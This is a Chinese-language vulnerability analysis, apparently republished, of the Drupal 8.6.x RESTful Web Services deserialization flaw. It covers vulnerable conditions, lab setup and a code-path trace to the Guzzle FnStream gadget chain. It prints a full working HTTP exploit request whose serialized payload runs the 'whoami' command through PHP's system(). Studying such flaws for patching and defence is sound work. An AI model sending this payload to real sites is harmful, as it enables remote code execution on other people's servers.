内容简介:近日,Drupal官方更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启RESTful Web Services拓展模块的情况下,可能导致PHP代码执行的严重安全。
近日,Drupal官方更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启RESTful Web Services拓展模块的情况下,可能导致 PHP 代码执行的严重安全。
漏洞条件
根据官方公告和自身实践,8.6.X(<8.6.10)两种情况可能导致问题出现:
-
RESTful Web Services 拓展开启,并且启用了REST resources(默认配置即可),不需要区分GET,POST等方法即可完成攻击。
-
JSON:API服务模块开启,此服务尚未分析。
攻击步骤
这里使用drupal-8.6.5作为测试版本,搭建REST服务进行漏洞分析
配置RESTful服务
在拓展中安装RESTful对应的WEB服务
RESTful服务开启后,对于REST resources的设置比较麻烦,安装REST UI拓展进行图形化的管理,方便查看(不安装也是可以的)。
RESTful服务开启后,其中/node/{node}这个REST resources是默认配置中就启用的,可以通过REST UI查看,发现确实如此,默认配置即可被攻击者利用。
攻击验证
发送包含whoami系统验证指令的攻击数据包
GET /drupal/node/1?_format=json HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/hal+json
Connection: close
Content-Length: 637
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:6:\"whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://127.0.0.1/drupal/rest/type/shortcut/default"
}
}
}
漏洞分析
官方公告中(现已修正)一开始仅仅说开启POST/PATCH两种请求方式才会收到攻击,其实并不区分类型,上图就是GET请求的攻击,因为程序在进入在对请求进行deserialize的时候,是还是通过php://input进行获取请求内容。
跟进$request->getContent
获得请求内容后,使用$this->serializer->decode对请求内容进行解码并赋值$unserialized。
然后传入$this->serializer->denormalize函数,Drupal 8的Serialization API是主要基于Symfony Serializer组件,具体可参加文档。
一路跟进直到getTypeInternalIds函数,检查url是否是网站已知的类型。
继续跟进,真正的判断在这个位置,函数栈如下:
继续跟进,将结果变量$typed_data_ids['entity_type']传入getEntityTypeDefinition函数,取实体的定义类型。
继续跟进,此时$context['target_instance']中包含Drupal\Core\Field\FieldItemList的实例。
继续跟进,经过$items->appendItem()后,$context['target_instance']被重新赋值,此时包含Drupal\link\Plugin\Field\FieldType\LinkItem的实例。
继续跟进,将$context['target_instance']中的实例赋值给$field_item,然后调用$field_item->setValue方法,并传入了$data。
data的值如下:
继续跟进setValue函数,这里的$values['options']可控,找到反序列化漏洞的触发点。
利用Drupal自带的Guzzle库,FnStream类的析构函数中包含call_user_func,进行利用链的构造。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Introduction to Programming in Java
Robert Sedgewick、Kevin Wayne / Addison-Wesley / 2007-7-27 / USD 89.00
By emphasizing the application of computer programming not only in success stories in the software industry but also in familiar scenarios in physical and biological science, engineering, and appli......一起来看看 《Introduction to Programming in Java》 这本书的介绍吧!